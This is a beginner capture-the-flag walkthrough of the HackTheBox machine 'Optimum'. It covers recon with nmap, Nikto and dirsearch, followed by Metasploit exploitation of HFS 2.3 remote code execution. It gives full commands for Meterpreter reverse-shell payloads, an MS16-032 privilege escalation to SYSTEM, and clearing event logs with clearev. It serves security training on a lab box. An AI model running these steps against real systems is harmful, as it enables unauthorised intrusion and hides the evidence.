The official version is found at https://berzerk0.github.io/GitPage/CTF-Writeups/Optimum-HTB.html
This was one of my first capture the flags, and the first HTB to go retired while I had a good enough grasp of it to do a write up. The steps are directed towards beginners, just like the box. Almost all the tools mentioned here can be found in a fresh Kali install - if they can't I'll mention it. The write up uses Kali Linux, but the tools used can be installed on/come with many pentesting distros like Blackarch.
The terminal emulator used here is Terminator. It can split windows in half, open tabs and more.
You can get it with a simple apt-get install terminator
A few of the steps in this guide don't return hits - however, they are still important to include as part of a CTF routine.
In order to do this CTF, you need to have an account on HackTheBox.eu, and be connected to the HTB VPN. HackTheBox requires you to "hack" your way into an invite code - and explicitly forbids anyone from publishing writeups for that process, sorry.
You might want to have a CTFs folder to save your progress for posterity.
Whenever I get an IP for a CTF box, nmap is the first thing to do, every time.
The IP for this box is 10.10.10.8 - so we can run nmap -sV -T4 10.10.10.8 | tee nmap_versionscan
- The
-sVflag tells nmap to attempt to identify the versions of services it detects. - The
-T4increases the number of threads runningnmapso the process goes faster. | tee nmap_versionscanwill output the results to the screen, but also to a file callednmap_versionscanso we can review the results without running another scan.
The scan gives several important pieces of information.
- The box is running an HTTP Server - that means we can visit a website in a browser, and use our HTTP tools.
- The HTTP Version: 'HttpFileServer httpd 2.3' - we can look for vulnerabilities in this process.
- The box is running Windows - this will help us form our strategy.
The first thing we should do is visit the web page and poke around.
First thing we see is "Login" - let's add that to the "might be useful" pile. We might try to log in later.
The box marked "Home" has 0 Folders, Files and bytes - so there probably won't be anything stored wherever that's pointing to.
At the bottom of the page we see "Server Information HTTPFileServer 2.3" - this corroborates and confirms our nmap scan results. When you can take two pieces of information and use them to support one another you can make big steps forward to figure things out. We can actually click on this, and it will take us to the website run by the HTTPFileServer Company.
Here I first tried to login with some common username and password pairs, as well as some contextual guesses.
I tried things like admin:admin admin:password root:password root:root admin:fileserver... with no successes.
We could try a brute forcing tool here later if we got stumped.
The 3 main arrows in my website attack quiver are fimap (for spidering), Nikto (for vulnerability analysis) and dirsearch (for page/directory discovery) Let's try each one
fimap is used to 'spider' the web page - it follows every clickable thing on a page and returns a list of URLs, up to a certain depth. This happens much faster than if we tried to do it manually.
We can just run fimap -H -d 3 -u http://10.10.10.8 -w /tmp/fimap_output
- The
-Hflag runs fimap in "URL Harvesting" (web spidering/crawling) mode. -d 3sets the "depth" to 3 pages. This means it will explore urls 3 "clicks" deep. If the first page (A) has 2 clickable links, and those links lead to 2 links each (B) , and THOSE links lead to 2 links each (C), fimap will stop looking after the C links.-u http://10.10.10.8sets our target URL-w ./fimap_outputwill save the results to a file calledfimap_outputin the current directory.
If the crawl depth is set too high, we could end up clicking through half the internet!If you use a more complicated spiderer, such as the ones in OWASP ZAP and Burpsuite, you can set it so it only follows links within a certain scope. This will keep you on your own page and away from clicking on things like banner ads and links to Google.
Our spiderer didn't tell us too much. It only finds one link, which doesn't seem to even lead anywhere at all. So, we move on to the next tool.
Nikto is a great vulnerability scanner for websites. It will also check for things like robots.txt and search for interesting file and directory names. Most of this happens behind the scenes, and it runs kind of slowly, so we will start it and come back.
Run nikto -h http://10.10.10.8 and open up a new terminal window or tab for our next tool.
(The -h flag just sets our target host IP)
Not all pages on a website can be reached via clicking - sometimes you just need to know the URL.
There are a few methods of doing this, and the most obvious ones included in Kali are dirb and dirbuster which is a GUI for dirb.
However, I like to use maurosoria's dirsearch which is a python3 script that accomplishes the same thing with a bit more customization and speed. I cloned the repo into a directory called /opt/Web_Tools/dirsearch - but you can put it wherever you like.
run python3 (PATH)/dirsearch.py -u http://10.10.10.8 -e txt,html,php | tee dirsearch_results
-ujust sets our URL-e txt,html,phptells dirsearch to look for .txt, .html and .php files at our host.- The default dirsearch wordlist is pretty good, but you can specify another wordlists if you want to.
We can start this and go back to check on nikto.
We can go back to our Nikto terminal, and it has finished! Let's take a look.
What has it found?
Server: HFS 2.3again confirms that we are running the HTTPFileServer v2.3 - this has been triple confirmed.- Everything else refers to vulnerabilities we aren't particularly interested in, XSS and clickjacking are vulnerabilities that require user interaction, not something we will need to be concerned with on this CTF (and most other CTFs)
If the site had a robots.txt, or an /uploads/ directory, Nikto usually finds these things. Not that much new information, however, let's go back to dirsearch.
Let's see if dirsearch has turned anything up.
A favicon is just a little icon that usually appears in a browser tab.
Dirsearch would have found things like a login.php or /admin or id_rsa page.
We haven't found anything interesting here, so we can move on to the next steps.
So far, the only information we have concretely confirmed is that the machine is running HTTPFileServer 2.3.
This is a pretty solid lead - let's see if we can find a way in.
searchsploit is a tool included in Kali that queries the exploitdb database for your search terms.
Many of the exploit scripts come included with it, and others run in Metasploit.
Lets run a simple search for the found program. searchsploit HTTPFileServer
Hmm, no luck there. Nikto did refer to it as "HFS," however, so we can try that as well.
Yes, that IS our version number 2.3 And that term, "Rejetto" - that's the website we reach when we click the link on the box's website. There is a Metasploit module with Remote Code Execution, too. Remote Code Execution leads to shells, and shells lead to root access.
Did you know you have access to the most powerful source of knowledge ever devised by human beings? If you ever have any thirst for knowledge - any question - anything you want to know about large and small, you can ask the Great Oracle of Modern Times, the Sage of Information...
You should just Google it.
Seriously. We live in the age of Bug Bounties and public disclosure. Unless you discover a 0day vulnerability, odds are a vulnerability can be found by searching online. Looking for a vulnerability in Windows Server? Search for it and soon you'll be reading about EternalBlue and WannaCry. Trying to find vulnerabilities in a certain program? Try searching for the program name and "CVE."
What about in our case?
There it is, Remote Code Execution.
Let's try another search, including "metasploit" this time.
This is how I found the vulnerability my first time on this box.
Metasploit is a very powerful framework for pentesting. Seeing "Meterpreter session started" is the real life equivalent to that moment on TV when the hacker says "I'm in!" and starts typing faster for some reason.
The framework can be a bit tricky to interact with the first time you use it, but the methodology usually follows the same path. Here is a ridiculous analogy.
In front of you is a locked door that you know can be opened from the other side. First, you use your advanced dual-channel optical scanners (eyeballs) to see that there is a small space (vulnerability) underneath the door. You can't fit through, but luckily, you have your highly-trained utility hamster. This hamster is able to fit through the space under the door (exploit the vulnerability), and get to the other side. However, without any tools, the hamster won't be able to let you in once arriving! From your pocket, you pull out your hamster-sized grappling hook (payload) capable of grabbing the door handle on the other side and opening (gaining access to) the door.
You point out the space under the door to the hamster, hand him the grappling hook, and set him loose. He deftly scurries under the door, uses his little paws to swing the grappling hook up and over the door handle, and then uses all of his little might to pull down and swing open the door! Access granted, all thanks to our hero hamster.
That hamster's name? Metasploit.
Here is the process:
- Identify a vulnerability
- Select the right metasploit Exploit module
- Set a Payload
- Provide the appropriate parameters
- Run the module
In our case, our vulnerability is found in the HTTPFileSystem/Rejetto. We already know an exploit module exists, and the default payload of the Meterpreter shell is just what we need.
Run msfconsole to start up the metasploit console and see some nifty ASCII art.
Then run search rejetto to find our exploit.
It will find a result in less than a minute.
From our results, we are given the path exploit/windows/http/rejetto_hfs_exec.
Now we need to use this exploit, so run use exploit/windows/http/rejetto_hfs_exec
Your terminal will acknowledge the exploit has been loaded by turning red.
In order to see our parameters, we enter show options
If you look closely, you will see that some parameters are marked "yes" under the "Required" Column. All of these required parameters must be set, and sometimes you need to set certain parameters that aren't even listed here.
Most of the time, your metasploit payload will require some sort of connection back to your computer. This means the localhost IP, called LHOST by metasploit, needs to be set. Often, metasploit will attempt to guess what this address is, and it frequently uses the wrong one.
Since we are connected to the HackTheBox VPN, we want to use our HTB IP, not our local network adresss. I always forget my IP, but we can quickly run ifconfig in another terminal to see what our tun0 (yours might be tun1 or something else depending on your network setup) address is.
All HTB box addresses are 10.10.10.xxx and your machine's address will be 10.10.xx.xx
This exploit assumes we want to use the powerful Meterpreter reverse shell as our payload, and since Rejetto runs only on Windows, it will automatically use the Windows version of this payload.
Now that we know what we are doing, we can set our parameters.
set RHOST 10.10.10.8- Tells metasploit Optimum's Address.set LHOST 10.10.xx.xx- Set this to your HTB IP, this is for the meterpreter connectionset SRVHOST 10.10.xx.xx- Also set this to your HTB IP, it is for hosting the exploit file.set LPORT 51000- Set this value to your liking, but I like to use ports > 50,000 since they are dynamic.
run- With all our parameters set, we can turn our hamster loose.
We're in. The first thing we'll want to do is gain more information about the system. Meterpreter has a set of commands based on Unix that work no matter what operating system it is running on. You can view a nice cheat sheet of these commands here.
The command we want to run is sysinfo - this will tell us more about the system.
If we look closely, we can see that something's not right here. Optimum's architecture is x64. Our meterpreter version is set to x86, not x86_64! If we are going to proceed, we are going to need to change this.
In your meterpreter shell, simply run background to go back to your msfconsole command line.
Then run show options again to see what payload metasploit assumed we wanted to use.
This is almost correct. The payload is set to windows/meterpreter/reverse_tcp - which connects back over a TCP port from a Windows machine. However, this doesn't specify an architecture, and defaults to x86, not x86_64.
This is easy enough to fix, however. We just need to specify.
set payload windows/x64/meterpreter/reverse_tcp
Since we have the other meterpreter still running, we need to set the LPORT again.
set LPORT 51001run
Now, we have the right type of meterpreter - let's move forward.
The first thing we should do is grab the user flag. The convention of HTB boxes is that user and root flags are kept in those users' home or desktop directories.
getuidtells what user we are running as. 'kostas' doesn't sound like root.pwdTells us our current working directory - the User's desktop, how convenient.lsShows the files in this directory -user.txt.txtlooks promising.cat user.txt.txtwill output the contents of the user flag file to the screen. Copy them down and submit them on HackTheBox!
One of the advantages of the Meterpreter shell is scalability. Once you have in running on a machine, moving forward is made easier.
post modules are used post-exploitation, after you already have a meterpreter shell running on a machine.
Meterpreter has the ability to automatically search for information about the machine is it running on. It can use this information to find more vulnerabilities, and then suggest exploits to provide higher level access.
One module that is useful for this process is the local_exploit_suggester - which does exactly what you'd think.
It looks at the properties of the machine it is running on, and suggests exploit modules to use.
Run these commands:
use post/multi/recon/local_exploit_suggesterset SESSION 2to point the exploit at our x64 meterpreter session- Optionally, run
set SHOWDESCRIPTION trueif you want to have a detailed explanation of any suggested exploits. run
Well, it ran - but it didn't come up with any suggestions. Let's see if we can find anything ourselves.
sessions 2will take us back to our x64 meterpreter sessionsysinfowill give us some info to start searching for exploits - Windows 2012 R2, x86_64.
Let us ask the Oracle for guidance!
The first hit gives us a nice MS vulnerability number, MS16-032
The "16" means it is from 2016, meaning it takes advantage of a relatively new vulnerability, that's a good sign.
Let's search for this in metasploit and see if we have any modules.
Jackpot!
Let's load it up and give it a whirl.
use exploit/windows/local/ms16_032_secondary_logon_handle_privescshow optionsto see what parameters we need to set
See the Targets Section? We need to specify our architecture again.
Make sure our payload has the right architecture too. Then, set the other parameters.
show targetsset TARGET 1to specify x64set SESSION 2Note that this command was run before screenshot below was taken, it is REQUIREDset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 10.10.xx.xxset LPORT 51003run
It worked! We should first see who/where we are, and then see if we can capture the flag.
getuid- should output NT AUTHORITY\SYSTEM. This is Windows-Speak for "All-Powerful Admin Root Master"pwd- see where we are and how we can navigate to the admin's desktop.cd /Users/ls- from here we can see all the User directories, including Administrator.cd Administrator/Desktop- we know this is where our flag can be found.lscat root.txt- system flag captured!
Since this is a CTF, cleanup isn't mandatory. However, we want to develop good habits and operational security practice.
Meterpreter has a clearev command that can be used to cover our tracks - let's run it and be out of here.
clearevexit -ythe-yflag answers "Kill the session?" in advance.
exit -yagain will kill the other sessions and exit msfconsole.
And that's Optimum!